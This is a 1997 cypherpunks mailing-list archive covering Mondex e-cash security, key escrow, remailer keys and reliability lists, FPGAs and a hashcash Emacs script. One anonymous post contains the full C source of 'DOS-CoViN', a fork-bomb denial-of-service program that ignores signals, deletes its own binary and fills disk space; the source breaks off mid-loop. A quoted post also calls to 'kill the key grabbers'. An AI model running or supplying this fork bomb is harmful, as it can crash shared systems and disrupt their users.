Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.







From janzen at idacom.hp.com  Sun Jul 20 17:02:43 1997
From: janzen at idacom.hp.com (Martin Janzen)
Date: Mon, 21 Jul 1997 08:02:43 +0800
Subject: mondex
Message-ID: <9707202357.AA17060@sabel.idacom.hp.com>




Ryan Lackey wrote:
>Does anyone know how open the Mondex architecture is?  Is it in any way
>possible to set up a competing system with your own card manufacture
>and issuing bodies for currencies which can be used in deployed Mondex
>POS terminals without too much hassle?
>[...]

Wesley Felter  wrote:
>As I understand it, Mondex is a completely closed system. Everything that
>you don't absolutely need to know is undocumented. Since you can settle
>offline, the potential for fraud is frightening; unless I'm getting the
>benefit of these, um, weaknesses in the system, I don't want there to be
>any. The lack of privacy seems to be somewhat of a smokescreen; since you
>can settle offline, they don't have a really accurate way of tracking
>transactions except at the interface between e$ and other forms of money
>or goods (like their POS terminals and ATMs).
>
>Can you hack Mondex? They say you can't...


David Jones,a computer science professor at McMaster University and
president of Electronic Frontier Canada, has written an interesting
article on the subject of Mondex security:

>Here's my latest article published online in "The Convergence".
>Please visit the web page version because it has lots of hyperlinks
>to related documents, including some never before published on the Net
>(e.g., Australian bank report on Mondex security)
>
>        http://theconvergence.com/columns/djones/07121997/

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

                Mondex: A House of Smart-Cards?

  With e-cash, privacy is illusory and security is questionable


by David Jones


Mondex International has already conceded that its electronic
'cash' isn't really as private as they once claimed.  Now critics
are questioning whether their security is all it's cracked up to be.
If crooks managed to create counterfeit cyber-cash, and if Mondex
failed to detect it quickly enough, the deposits backing up the
electronic currency could be drained dry, leaving customers out
of pocket -- unable to redeem the 'value' on their cards.
Do participating banks have any contingency plans for what
Mondex calls its 'meltdown scenario'?

[...]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


--
Martin Janzen           janzen at idacom.hp.com






From kent at songbird.com  Sun Jul 20 17:21:56 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 21 Jul 1997 08:21:56 +0800
Subject: Keepers of the keys
In-Reply-To: <19970719074314.59778@bywater.songbird.com>
Message-ID: <19970720170513.43286@bywater.songbird.com>



On Sun, Jul 20, 1997 at 02:48:20PM -0400, Declan McCullagh wrote:
> "Patriotism is the last refuge of a scoundrel." --Samuel Johnson
> 
> Often those who speak of patriotism wield the term as a thunderbolt to
> head off criticism of their plans. "It is unpatriotic to oppose the
> CDA, mandatory key escrow." It is indeed the last refuge of a scoundrel
> when used as an excuse to violate civil liberties.
> 
> I suspect that's not what Tim was doing below.

That is *exactly* what Tim is doing.  He is wrapping himself in the
flag and shouting about how he has the one true vision of what the 
hallowed founding fathers thought:

>>> Kill the key grabbers and all those who support them. Isn't it exactly what
>>> Patrick Henry, Thomas Jefferson, and the others would have argued?

Pardon my patriotic tears...

Can there be any doubt at all? It's obviously old cheap rhetoric
through and through, not even Bill Clinton at his worst could match
it.  Of course, the true believers chorus "Yea, verily", and are
impressed by the fire and brimstone; and the anon crowd always chimes
in after a respectful delay... 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From alan at ctrl-alt-del.com  Sun Jul 20 20:48:31 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Mon, 21 Jul 1997 11:48:31 +0800
Subject: Something of little importance
Message-ID: 



I was noticing that the bottom of the latest issue of Mad magazine (August
1997) in the cartoons in the margin, there is someone holding up a
newspaper that reads "UPC code broken".

"Crypto-noia strikes deep...  Into Mad it will creep..."

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From nobody at replay.com  Sun Jul 20 22:19:00 1997
From: nobody at replay.com (Name Withheld by Request)
Date: Mon, 21 Jul 1997 13:19:00 +0800
Subject: fork problem, fix?
Message-ID: <199707210455.GAA29231@basement.replay.com>



/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
   bugtraq

   This program is a beefed up classic denial of service fork()'er :)

   Compilation:
	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c

	on my linux, I can compile it with both -DBSD_C and -DSYSV_C

	if your not sure, you can experiment, or compile it
	without any -D'efines


   In the future:
	SunOS signals ignored.
	Creation of random symlinks for more gory destruction.
	Using advanced technology coding to make the hard drive
		blow up with a loud boom and the console explode
		causing a nuclear meltdown.



   Direct All Suggestions And Flames to: Vio

  NOTE: this program is provided for educational purposes only, its author
	will not take any responsibility for any stupid things you will
	decide to do.

	this has been tested, but not the latest version of it.

            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
            $$'   s   `$'   s   `$    $    $    $    `$   $$
            $$    $    $    $    $    $    $    $         $$
            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
            $$    $ssss$    $    $    $    $    $   $$$   $$
            $$    $    $    $    $.   $   ,$    $   $$$   $$
            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'

*/


#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10

#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/

void dirs_generator(void);

main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;

unlink(argv[0]);

/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);

#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif

#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif

if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}


void dirs_generator(void)
{
char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;

printf("Making dirs..\n");
chdir(START_DIR);

fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();

while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i





>Date: Sun, 20 Jul 1997 15:30:11 -0400 (EDT)
>From: Declan McCullagh 
>To: David Downey 
>cc: cypherpunks at algebra.com
>Subject: Re: New Cypher ListServ  (part 1)
>
>David,
>
>Don't take this the wrong way, but why should we subscribe to your list
>when there are plenty out there that deal with PGP, crypto, speech, and
>politics already, have been around for a while, and have a critical 
mass
>of participants? What will you offer over, say, cypherpunks?
>
>-Declan
>

Yes, I am trying to get a number of the other cypherpunk lists together 
under one umbrella. Ambitious, but if you don't reach for the stars, 
you'll always be stuck in the lawnchair. I will add other lists that 
folks from this list mention to me, as I am looking to combine a whole 
slew of them together. This way all lists stand a better chance of 
surviving in the event of D.O.S attacks and the like.  If anyone knows a 
list that is good and should be added let me know.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From Majordomo at oceanus.host4u.net  Sun Jul 20 23:04:57 1997
From: Majordomo at oceanus.host4u.net (Majordomo at oceanus.host4u.net)
Date: Mon, 21 Jul 1997 14:04:57 +0800
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210549.AAA31262@oceanus.host4u.net>



--

Welcome to the cryptography-politics-pgp-l mailing list!

Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to  with the following
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This is the general rule for most mailing lists when you need
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 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



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subscribe/unsubscribe information.



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From apache at gargoyle.apana.org.au  Sun Jul 20 23:51:25 1997
From: apache at gargoyle.apana.org.au (apache at gargoyle.apana.org.au)
Date: Mon, 21 Jul 1997 14:51:25 +0800
Subject: TEST [IGNORE]
Message-ID: <199707210644.QAA13569@gargoyle.apana.org.au>








From stewarts at ix.netcom.com  Sun Jul 20 23:51:58 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 21 Jul 1997 14:51:58 +0800
Subject: Voluntary mandatory PICS ratings on all posts
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: <3.0.2.32.19970720230924.03168b6c@popd.ix.netcom.com>



At 10:22 AM 7/19/97 -0700, Tim wrote:
...
>Voluntary Mandatory Self-Rating of this Article
>(U.S. Statute 43-666-970719).

Hmmm - somehow my browser let this through

>**SUMMARY**
>Estimated number of readers qualified to read this: 1
>Composite Age Rating: 45 years

I thought you were still 44?  Happy Birthday!
:-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From ant at notatla.demon.co.uk  Mon Jul 21 00:26:20 1997
From: ant at notatla.demon.co.uk (Antonomasia)
Date: Mon, 21 Jul 1997 15:26:20 +0800
Subject: New Mixmaster Key
Message-ID: <199707190106.CAA05232@notatla.demon.co.uk>



-----BEGIN PGP SIGNED MESSAGE-----




This is a new public key (reflecting a change in passphrase).
I have changed the passphrase because I showed it to someone
while testing beta versions of Mix 204 (not very bright of me
to use the same phrase in a production version of course).

The old key still works until I phase it out in a little while.

The remailer name is now all lower case (and the long name
is less juvenile).


Here is the public key for mccain anonymous remailer:

=-=-=-=-=-=-=-=-=-=-=-=
mccain mccain at notatla.demon.co.uk ce919b441a1b82524d3284c49f34a77d 2.0.4b2 MC

- -----Begin Mix Key-----
ce919b441a1b82524d3284c49f34a77d
258
AATPQhiB8EQPG8u1OYqnCzf3H51bjpB1F0SpJoNI
QNTAgqzjxZYteO6tXJQ9x0dJSEfLiAqdHpxn8IAS
W7Bb9PNISWpOclgWS9jXB0/37VX83zPJgM/Wv6lK
ICu1HJUSysIlQGH2sCaarvQr6fqCo9Pqks443hDJ
sV+P6BlI24HFvwAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
- -----End Mix Key-----


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAgUBM9ASxErZ5ZQH9XIxAQFpbgP/fbc3au03jAsdc/Qe/raRDxol5iQaVJ7D
8ifbHMyTX0S0RiLpv7rnGQ0B+g6MzXndByoSOmwbacWfHx07WjECr4fQTqyYxQnh
A9Q1sJGXqvFaqUkYyB9FdKH6v4QeHT+Z1xeUbiAM1f8PP5eUu6XuUsoNFKTw6ZDY
WxaQFGGg/bA=
=Xab6
-----END PGP SIGNATURE-----

--
###############################################################
# Antonomasia   ant at notatla.demon.co.uk                       #
# See http://www.notatla.demon.co.uk/                         #
###############################################################






From Majordomo at oceanus.host4u.net  Mon Jul 21 00:44:47 1997
From: Majordomo at oceanus.host4u.net (Majordomo at oceanus.host4u.net)
Date: Mon, 21 Jul 1997 15:44:47 +0800
Subject: Welcome to cryptography-politics-pgp-l
Message-ID: <199707210725.CAA14998@oceanus.host4u.net>



--

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Please save this message for future reference.  Thank you.

If you ever want to remove yourself from this mailing list,
you can send mail to  with the following
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 Here's the general information for the list you've subscribed to,
 in case you don't already have it:

[Last updated on: Sun Jul 20  7:07:57 1997]
Welcome to The Privacy Channel's Cryptography-Politics-PGP-L. As you've
probably guessed from the list title, this list is dedicated to the
open, friendly, and intellegent discussion of Cryptography around the
globe. Also, we discuss the many facets of politics as it affects the
world of Cryptography. We discuss governmental involvement, corporate
yes men, and all the like. We try to keep each other abreast of the
everchanging world around us. All are welcome here, whether you have NO
idea what encryption is, or whether you worked for the government
designing DES. Last but not least, we also discuss PGP, is it a viable
alternative to escrowed key accounts?  I, the List-Owner, do think so.
But that is open for discussion. Now, let's get a few things out of the
way. The Rules!

1) ABSOLUTELY NO SPAMMING ALLOWED!!!! I'll can ya in a heartbeat, as
well as speak to all the server owners that you traveled on.

2) You keep it kind of clean. Keep the swearing and such down to a
minimum. You can get your point accross just as well without cussing.
Flaming others is also considered bad karma here. I'd like to see folks
help each other around here. After all, we are all we got!

3) You try to keep as much as possible to the point, and to the content
of this list. If you really want to talk about something else, let me
know. I'll get another list going.

4) Respect others!!! I do this because I like talking to other people
from around the world, and to listen to their side of things. Their
point is just as much valid as mine and yours.

5) Finally, HAVE FUN!!!!!



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From apache at gargoyle.apana.org.au  Mon Jul 21 00:57:07 1997
From: apache at gargoyle.apana.org.au (apache at gargoyle.apana.org.au)
Date: Mon, 21 Jul 1997 15:57:07 +0800
Subject: TEST [IGNORE]
Message-ID: <199707210742.RAA13672@gargoyle.apana.org.au>



ex toad






From hjuy7685tif at aol.com  Mon Jul 21 16:05:18 1997
From: hjuy7685tif at aol.com (hjuy7685tif at aol.com)
Date: Mon, 21 Jul 1997 16:05:18 -0700 (PDT)
Subject: 1-800-811-2141 code 20477
Message-ID: <199603170067.GAA098056@d564390.com>



Make Money Promoting
This Toll-Free Number
1-800-811-2141 code 20477








From E.J.Koops at kub.nl  Mon Jul 21 01:42:37 1997
From: E.J.Koops at kub.nl (Bert-Jaap Koops)
Date: Mon, 21 Jul 1997 16:42:37 +0800
Subject: JENC8 presentation - Crypto Regulation in Europe - online
Message-ID: <25B57B93963@frw3.kub.nl>



I have put my recent presentation to JENC8 online:
   Crypto Regulation in Europe. Some key trends and issues
   Proceedings 8th Joint European Networking Conference, 
   Edinburgh, 12-15 May 1997, pp. 811/1-8
http://cwis.kub.nl/~frw/people/koops/jenc8bjk.htm

A somewhat revised version of this paper, updated until June 1997, will
be published in Computer Networks and ISDN Systems. 

Comments are welcomed.

Kind regards,
Bert-Jaap






From zooko at xs4all.nl  Mon Jul 21 03:55:20 1997
From: zooko at xs4all.nl (Zooko Journeyman)
Date: Mon, 21 Jul 1997 18:55:20 +0800
Subject: thought for the day, and my IRS Investigations report
Message-ID: <199707211033.MAA08269@xs2.xs4all.nl>



My interaction with Jim Bell pretty much amounted to condemning
him and telling him to go to hell, CC'ed to cypherpunks.  And 
I haven't received any IRS Investigations notes, so perhaps my
e-mail address wasn't included in Jim's little black book.


Zooko

"There are two major forces in the universe:  evolution and 
intelligence."






From decius at ninja.techwood.org  Mon Jul 21 04:16:00 1997
From: decius at ninja.techwood.org (Decius 6i5)
Date: Mon, 21 Jul 1997 19:16:00 +0800
Subject: geodesic -- FPGAs
Message-ID: 



I've been reading the Geodesic systems thread with much interest... I've
been playing around with FPGAs recently, Field Programmable Gate Arrays,
which list members should be familiar with due to discussions concerning
cheap hardware crypto. Why not replace your entire architecture with
reconfigurable hardware? This is sort of like Java turned upside down.
Instead of having generalized code running on a specialized "virtual
machine." (Which is inefficient as hell) Why not ship the architecture
your program runs on along with the program. Liquid architecture. If the
FPGA's are standardized (not likely, but..) you could run whatever kind of
software you wanted and the architecture would automatically reconfigure
to run the code and would be optimized for your application. There are
some challenges with muti-tasking but I think you could manage the
gate-space like you do memory. Web searches on FGPAs will bring you to
research being done on this sort of thing...

-- 
        */^\*  Tom Cross AKA Decius 615 AKA The White Ninja  */^\* 
                       Decius at ninja.techwood.org

"If the economic, social and political conditions... do not offer a basis 
for the realization of individuality, while at the same time people have 
lost those ties which gave them security... powerful tendencies arise to 
escape from freedom into submission." -- Erich Fromm






From Webmaster at CyberSpaceTechnologies.com  Mon Jul 21 04:20:16 1997
From: Webmaster at CyberSpaceTechnologies.com (David D.W. Downey)
Date: Mon, 21 Jul 1997 19:20:16 +0800
Subject: thought for the day, and my IRS Investigations report
In-Reply-To: <199707211033.MAA08269@xs2.xs4all.nl>
Message-ID: <33D3426A.35517654@CyberSpaceTechnologies.com>

Zooko Journeyman wrote:

> My interaction with Jim Bell pretty much amounted to condemning
> him and telling him to go to hell, CC'ed to cypherpunks.  And
> I haven't received any IRS Investigations notes, so perhaps my
> e-mail address wasn't included in Jim's little black book.
>
> Zooko
>
> "There are two major forces in the universe:  evolution and
> intelligence."

Why does it always seem like there has to be someone out there that just
HAS to be an idiot.

-------------- next part --------------
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URL: 

From raph at CS.Berkeley.EDU  Mon Jul 21 07:24:36 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 21 Jul 1997 22:24:36 +0800
Subject: List of reliable remailers
Message-ID: <199707211350.GAA00830@kiwi.cs.berkeley.edu>



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{'cyber'} = ' alpha pgp';
$remailer{"mix"} = " cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = " cpunk mix pgp hash latent cut post ek";
$remailer{"lucifer"} = " cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = " cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = " cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = ' newnym pgp';
$remailer{"balls"} = " cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = " cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = " cpunk mix pgp hash latent cut ek reord";
$remailer{'weasel'} = ' newnym pgp';
$remailer{"reno"} = " cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = " cpunk mix pgp hash latent cut ek";
$remailer{"hidden"} = " cpunk pgp pgponly hash latent cut";
$remailer{"cracker"} = " cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = ' newnym pgp';
$remailer{"bureau42"} = " cpunk mix pgp hash latent cut ek";
$remailer{"magus"} = " cpunk mix pgp hash latent cut post";
$remailer{"neva"} = " cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = " mix";
$remailer{"medusa"} = " mix middle"
$remailer{"McCain"} = " mix middle";
$remailer{"valdeez"} = " cpunk pgp pgponly hash ek";
$remailer{"arrid"} = " cpunk pgp pgponly hash ek";
$remailer{"hera"} = " cpunk pgp pgponly hash ek";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 21 Jul 97 6:47:21 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config at weasel.owl.de             --++-+++-+++  1:51:14  99.99%
nym      config at nym.alias.net             *#*#+**#####      :46  99.96%
magus    mix at magusnet.com                        #---+  1:01:47  99.95%
redneck  config at anon.efga.org                     #*-*    34:45  99.93%
hera     goddesshera at juno.com                    +----  3:35:09  99.89%
bureau42 remailer at bureau42.ml.org                *----  4:30:03  99.78%
squirrel mix at squirrel.owl.de              --+++ ++-+++  1:47:37  99.72%
valdeez  valdeez at juno.com                        *.--   2:05:19  99.68%
cracker  remailer at anon.efga.org                  *+ -+    52:45  99.38%
winsock  winsock at rigel.cyberpass.net      ------- .-++  5:20:51  98.86%
cyber    alias at alias.cyberpass.net        ******  ***+    10:15  98.20%
reno     middleman at cyberpass.net          **+ --- .-+   6:04:59  97.28%
replay   remailer at replay.com              *** **    **     4:33  94.56%
arrid    arrid at juno.com                          +---   2:38:00  94.19%
jam      remailer at cypherpunks.ca           ** ****        31:02  86.54%
mix      mixmaster at remail.obscura.com     .-*.+** **    2:13:27  84.97%
neva     remailer at neva.org                       #-*      44:30  84.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From rdl at MIT.EDU  Mon Jul 21 08:02:15 1997
From: rdl at MIT.EDU (Ryan Lackey)
Date: Mon, 21 Jul 1997 23:02:15 +0800
Subject: geodesic -- FPGAs
Message-ID: <9707211446.AA13815@m56-129-19.MIT.EDU>



FPGAs lack in dynamic reconfigurability.  However, a friend of mine from
the institute (now graduated and off in california) developed a bloody-fast
reprogrammable chip (I think it can be arbitrarily reprogrammed in a clock
cycle or so).  Needless to say, this is a really wonderful toy -- they
seem to want to use them for "communications processors", like modem
control chips and stuff, but I can think of many more uses for them.  I
think they're talking about being able to ship them in a couple years --
I know I'm going to try to use whatever influence I have to get at least
a development kit.  Think about the potential for iteratively-improved
static designs, if not for truly dynamic designs. (there is some cs
theory in the area of real-time reconfigurable processors, but it's
hard, not all that well explored)  As well, you could always use something
like this in a traditional massively-parallel codebreaking device, perhaps
stepping through keys in silicon rather than in memory.

Very cool toys.  I want one.






From jim.burnes at ssds.com  Mon Jul 21 09:13:29 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Tue, 22 Jul 1997 00:13:29 +0800
Subject: Something of Interest (fwd)
In-Reply-To: <6Ta30D7w165w@bwalk.dm.com>
Message-ID: 





On Fri, 18 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Alan  writes:
> 
> >
> > I recieved this today via e-mail.  I find it strange since I have never
> > asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > my Cypherpunks mail shows up at a different address.
> >
> > Did anyone else get this?
> 
> I got it too.
> 
> It could be a very tasteless joke.
> 
> Or it could be a real e-mail from IRS telling us that they keep tabs on
> who's been talking to Jim.
> 

Somehow I find it unlikely that this is authentic.  Last I heard, Jim Bell
was being held without charges for some incredibly long period of time --
like a month or so. 

Seems that any lawyer worth his salt could get any conceivable charges
dropped on that count alone.  Admitting to a felony in this case seems
unlikely, but then you never know.

Regards,

Jim "Habeus Corpus" Burnes
jim.burnes at ssds.com








From tcmay at got.net  Mon Jul 21 09:20:42 1997
From: tcmay at got.net (Tim May)
Date: Tue, 22 Jul 1997 00:20:42 +0800
Subject: geodesic -- FPGAs
In-Reply-To: 
Message-ID: 



At 3:58 AM -0700 7/21/97, Decius 6i5 wrote:
>I've been reading the Geodesic systems thread with much interest... I've
>been playing around with FPGAs recently, Field Programmable Gate Arrays,
>which list members should be familiar with due to discussions concerning
>cheap hardware crypto. Why not replace your entire architecture with
>reconfigurable hardware? This is sort of like Java turned upside down.

Why not replace your entire architecture with reconfigurable hardware?
Because factors of 2 or 3 or 4 or more are still important to people.
Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,
etc.

Now tell those folks that the FPGA version will cost several times as much
and have the performance of a 90 MHz 486. Or less.

All for what? So they can issue a "reconfigure yourself" command and have
their machine spend a few minutes reprogramming itself into, what, a Mac?

For lots of reasons, this won't fly. I could elaborate on why this is so,
technically, or marketing-wise. But I'll leave this as an exercise.

One of the great breakthoughs of this century was the notion by von Neumann
and others of a general purpose engine programmable with programs, instead
of rearranging patch panel connections for each new algorithm. A general
purpose CPU able to run NT, Linux, NextStep, OS/2, and myriads of programs
is generally more useful to most people than (expensive) reconfigurable
hardware.

Except for specialized applications, which is where graphics accelerators,
I/O processors, and digital signal processors (DSPs) come to the fore.
However, even with these funcitons, as soon as these functions get
integrated onto the main processor, as time passes, the handwriting is on
the wall.

(Look at what happened to Weitek once Intel and Sun integrated floating
point coprocessors directly into their processors.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From mycroft at actrix.gen.nz  Mon Jul 21 09:21:07 1997
From: mycroft at actrix.gen.nz (Paul Foley)
Date: Tue, 22 Jul 1997 00:21:07 +0800
Subject: Hashcash for Emacs
Message-ID: <199707211554.DAA13787@mycroft.actrix.gen.nz>



;;; hashcash.el --- Add hashcash payments to email

;; Copyright (C) 1997 Paul E. Foley

;; Maintainer: Paul Foley 
;; Keywords: mail, hashcash

;; Released under the GNU General Public License

(defvar hashcash-default-payment 12)
(defvar hashcash-payment-alist nil)
(defvar hashcash "/home/paul/bin/hashcash")

(require 'mail-utils)

(defun hashcash-generate-payment (str val)
  "Generate a hashcash payment by finding a VAL-bit collison on STR."
  (let ((old-buffer (current-buffer))
	(hc (get-buffer-create "*hashcash*"))
	pos)
    (set-buffer hc)
    (erase-buffer)
    (goto-char (point-max))
    (call-process hashcash nil hc nil (concat "-" val) str)
    (goto-char (point-max))
    (re-search-backward "collision: ")
    (forward-char 11)
    (setq pos (point-marker))
    (end-of-line)
    (setq payment (buffer-substring pos (point)))
    (set-buffer old-buffer))
  (concat payment "\n"))

(defun mail-add-payment (arg)
  "Add an X-Payment: header with a hashcash payment for each recipient address
Prefix arg means non-default payment amount.  Also uses hashcash-payment-alist."
  (interactive "P")
  (unwind-protect
      (save-excursion
	(goto-char (point-min))
	(re-search-forward
	 (concat "^" (regexp-quote mail-header-separator) "\n"))
	(previous-line 1)
	(let ((end (point-marker))
	      (case-fold-search t))
	  (goto-char (point-min))
	  (while (re-search-forward "^\\(to\\|cc\\):" end t)
	    (let ((to-line
		   (mail-strip-quoted-names
		    (buffer-substring (point)
				      (progn
					(if (re-search-forward
